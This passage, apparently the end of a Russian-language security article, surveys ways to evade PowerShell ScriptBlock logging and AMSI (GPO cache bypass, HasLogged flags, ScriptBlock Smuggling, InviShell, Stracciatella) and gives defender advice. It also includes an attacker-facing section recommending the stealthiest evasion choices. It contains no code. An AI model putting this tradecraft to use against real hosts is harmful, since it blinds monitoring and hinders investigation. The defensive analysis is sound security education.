Stracciatella (и её предки SharpPick, PowerPick) - метод для ситуаций, когда нельзя запускать powershell.exe вообще. Ты создаёшь в своём процессе (C#, C++, даже на чистом .NET) runspace - среду выполнения PowerShell. И при создании ты явно выставляешь флаги InitialSessionState, отключающие логирование, AMSI, ConstrainedLanguage. В результате получаешь полноценный PowerShell, работающий внутри твоего процесса, и ни один журнал событий Windows не знает о его существовании. Детекция здесь смещается на уровень загрузки сборок: процесс, не являющийся powershell.exe, вдруг грузит System.Management.Automation.dll и начинает выполнять скрипты. Sysmon это увидит. Но если ты уже в памяти, это не всегда спасает защитника.

HasLogged / IsProductCode - техника для перфекционистов. Вместо глобального отключения логирования ты находишь конкретный объект ScriptBlock и выставляешь у него приватные флажки, которые говорят «этот блок уже залогирован» или «это системный код, не пиши в лог». Блок выполняется, событие 4104 не генерируется. Но: тебе всё равно нужна рефлексия, чтобы добраться до этих полей, а значит, событие 4104 с вызовом GetField и SetValue всё-таки появится - правда, оно будет относиться к коду байпаса, а не к твоему вредоносному блоку. Аналитик увидит странные рефлексивные вызовы, но не увидит, что именно ты выполнил. Плюс техника очень версиозависима: в PowerShell 5.1 поля называются hasLogged, в PowerShell 7 - HasLogged, а во внутренних сборках могут быть вообще другие имена. Используется редко, только в кастомных пейлоадах, где каждый шаг оптимизируют под конкретную среду.

Живучесть против скрытности: почему ETW мёртв, а Smuggling жив

Если окинуть взглядом весь этот арсенал, видна чёткая эволюция.

В начале 2010-х атакующие хотели глобального контроля - отключить логирование на всём хосте, для всех процессов, надолго. ETW-патчинг и встройка в глобальные хуки давали такую живучесть. Но плата - шум. Изменение кода в системных DLL, запись в чужие процессы, подозрительные вызовы API. Современные EDR такие вещи видят за километр.

Поэтому фокус сместился на локальность и скрытность. Зачем отключать логирование для всей системы, если ты работаешь в одной сессии несколько минут? Зачем трогать память защищённых процессов, если можно обмануть парсер и твой код вообще не попадёт в лог?

ScriptBlock Smuggling - идеальный представитель новой волны. Он не модифицирует систему. Он не требует прав. Он не оставляет следов в памяти. Он просто использует легитимный механизм компиляции кода с неожиданной стороны. Это хакерский подход в чистом виде: не взламывать замок, а найти способ, чтобы охранник сам открыл дверь и записал в журнал, что открыл он её для сантехника.

InviShell и Stracciatella - компромисс. Они оставляют больше следов на уровне процессов и загрузки библиотек, но эти следы сложнее автоматически связать с атакой, особенно если у защитника нет хорошей базы поведенческих паттернов.

Что выбрать?

Нет единственно верного ответа. Выбор техники зависит от ответов на три вопроса:
  1. Какие у тебя привилегии? Если ты обычный пользователь без админ-прав, ETW-патчинг и глобальные AMSI-байпасы отпадают сразу. Остаются GPOBypass, Smuggling, возможно InviShell (если можешь запустить процесс с нужными параметрами).
  2. Насколько ценна скрытность? Если ты работаешь в среде с активным SOC, который мониторит события 4104 на сигнатуры, GPOBypass - это билет на эшафот. Smuggling или сессионные методы - выбор.
  3. Что ты хочешь сделать? Загрузить один пейлоад и уйти - хватит Smuggling. Вести долгую разведку, выполнять десятки команд - лучше создать чистую сессию через InviShell или Stracciatella, чтобы вообще не светиться.
И помни: ни одна техника не вечна. EDR-вендоры читают те же исследовательские работы, что и мы. То, что работает сегодня, завтра может стать сигнатурой. Smuggling уже начали детектить эвристиками - ищут несоответствие между AST и потоком выполнения, анализируют аномально высокую долю escape-последовательностей. Это гонка, и она никогда не закончится.

Вместо карты - компас

Если ты защитник, твоя задача - не выучить все техники наизусть, а понять логику их работы. Обход логирования PowerShell всегда сводится к одному из пяти действий: переписать конфиг в памяти, заглушить транспорт, обмануть сканер, исказить AST или не дать защите загрузиться. Каждое действие оставляет следы - в логах событий, в дампах памяти, в сетевых соединениях, в создании процессов.

Строй защиту не от «конкретного байпаса», а от класса действий. Запрети рефлексию - и GPOBypass с HasLogged умрут. Включи мониторинг загрузки System.Management.Automation.dll в нестандартные процессы - и Stracciatella станет заметной. Используй поведенческий анализ, который видит не строку Invoke-Expression, а факт того, что процесс PowerShell внезапно полез в интернет за странным файлом.

И тогда даже самая хитрая техника обхода логов не спасёт атакующего, потому что ты смотришь не в логи PowerShell, а на то, что процесс делает после выполнения кода.

Но это уже тема для отдельной статьи. А мы пока закроем карту местности и двинемся дальше - к заключению, где соберём всё воедино и поговорим о том, как жить в мире, где даже включённое логирование не гарантия.


Заключение

Если ты осилил весь этот текст от вступления до карты местности, у тебя сейчас в голове каша. С одной стороны - шесть строк, которые отключают логирование и ставят крест на расследовании. С другой - десятки вариаций, эвристик, обходов обходов и патчей, которые уже не работают. С третьей - вывод, что даже самый продвинутый байпас не гарантирует безнаказанности, если защитник смотрит в правильную сторону.

Давай выдохнем и соберём всё в одну кучу. Без паники, без победных реляций, с холодной головой инженера, который чинит систему, а не проклинает её создателей.

Почему эта техника вообще существует и будет существовать дальше?

GPO Cache Bypass - идеальный памятник инженерному компромиссу. Кто-то в Редмонде много лет назад решил, что скорость важнее паранойи. И это было правильное решение для своего времени. PowerShell проектировался как инструмент администрирования, а не как поле боя. Кеширование политик дало прирост производительности, которым мы пользуемся до сих пор.

Проблема в том, что поле боя пришло туда, где его не ждали. Сегодня PowerShell - главный вектор атаки номер один в отчётах любой компании по кибербезопасности. А архитектура осталась той же. И несколько лет спустя мы всё ещё обсуждаем, как починить то, что сломалось не вчера.

Microsoft не исправит это. Не потому, что не умеет или не хочет. А потому что исправление потребует либо принести в жертву производительность (перестать кешировать), либо полностью переписать механизм групповых политик в .NET. Ни то, ни другое не случится в действующей версии продукта. Возможно, в будущем PowerShell (какой-нибудь PowerShell 8) уйдёт от этой модели. Но PowerShell 5.1, который сидит в каждой Windows 10/11 и Windows Server 2016-2025, будет с нами ещё минимум десять лет. И cachedGroupPolicySettings всё так же будет лежать в статическом приватном поле, доступном через рефлексию.

Так что мы живём с этой открытой дверью. Вопрос не в том, как её навсегда закрыть. Вопрос в том, как организовать дом так, чтобы даже через открытую дверь вор не прошёл незамеченным.

Что делать защитнику?

Первое и самое главное: перестань полагаться на ScriptBlock Logging как на единственный источник истины. Это не защита, это журнал. Его можно выключить, подделать, заставить писать красивые сказки. Если твоя стратегия обнаружения атак строится вокруг события 4104 - у меня для тебя плохие новости.

Второе: включи ConstrainedLanguage Mode везде, где можешь. Да, у тебя сломаются старые скрипты. Да, придётся переписывать легаси. Да, это больно. Но это единственный способ гарантированно убить GPOBypass и все рефлексивные байпасы AMSI. Альтернатива - жить в мире, где любой пользователь может запустить шесть строк и исчезнуть с радаров.

Третье: мониторь не только логи, но и состояние. Простой скрипт, проверяющий расхождение между реестром и кешем, должен висеть в Task Scheduler на каждом чувствительном хосте. Если значения отличаются - у тебя проникновение. Не гадай, не анализируй - реагируй.

Четвёртое: смотри на поведение, а не на содержание. Техники вроде ScriptBlock Smuggling могут обмануть логгер, но они не могут обмануть процесс. PowerShell, который скачивает скрипт из интернета и выполняет его, оставляет след: сетевые соединения, подозрительные URL, создание дочерних процессов, обращение к WinAPI. EDR, настроенный на поведенческий анализ, увидит аномалию, даже если событие 4104 молчит как рыба.

Пятое: не забывай про транскрипцию. Transcription (Start-Transcript) пишет в файл весь вывод сессии, и его отключение через кеш GPO - отдельная песня. Он не зависит от ScriptBlock Logging и может стать спасательным кругом, если основной лог заткнули.

Что делать атакующему?

Ты уже знаешь арсенал. Теперь вопрос выбора.

Не будь жадным. Не пытайся отключить всё и сразу глобально. ETW-патчинг оставляет следы размером с континент. GPOBypass светится в логах. HasLogged требует возни с рефлексией и всё равно светится, пусть и меньше.

Самый тихий путь сегодня - ScriptBlock Smuggling. Он не оставляет глобальных следов, не трогает память, не требует прав. Единственное, что тебя выдаст - твой собственный код, если он плохо обфусцирован, или поведенческие паттерны. Работай над ними.

Если тебе нужно работать в сессии долго, не наследив ни одним событием 4104 - используй InviShell или Stracciatella. Да, они оставляют следы на уровне процессов и загрузки DLL, но эти следы сложнее автоматически связать с атакой, если защитник не мониторит их специально. А часто не мониторит.

И главное - не становись предсказуемым. Если ты каждый раз запускаешь GPOBypass и сразу лезешь в кеш, тебя вычислят по шаблону. Миксуй техники, подстраивайся под среду. Гибкость - твоё главное оружие.

ScriptBlock Logging - не панацея. GPO Cache Bypass - не конец света. PowerShell - не зло.

Это просто инструмент. Огромный, мощный, двуручный меч, которым можно рубить врагов, а можно - себе по ногам. Твоя задача - научиться им владеть так, чтобы видеть, когда кто-то пытается вынуть предохранитель.

Кеш групповых политик никуда не денется. Рефлексия останется. Методы обхода будут эволюционировать. Но и методы обнаружения не стоят на месте.

Восемь лет мы живём с этой дырой. Восемь лет мы учимся её замечать. И знаешь, что?

Кажется, у нас начинает получаться.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab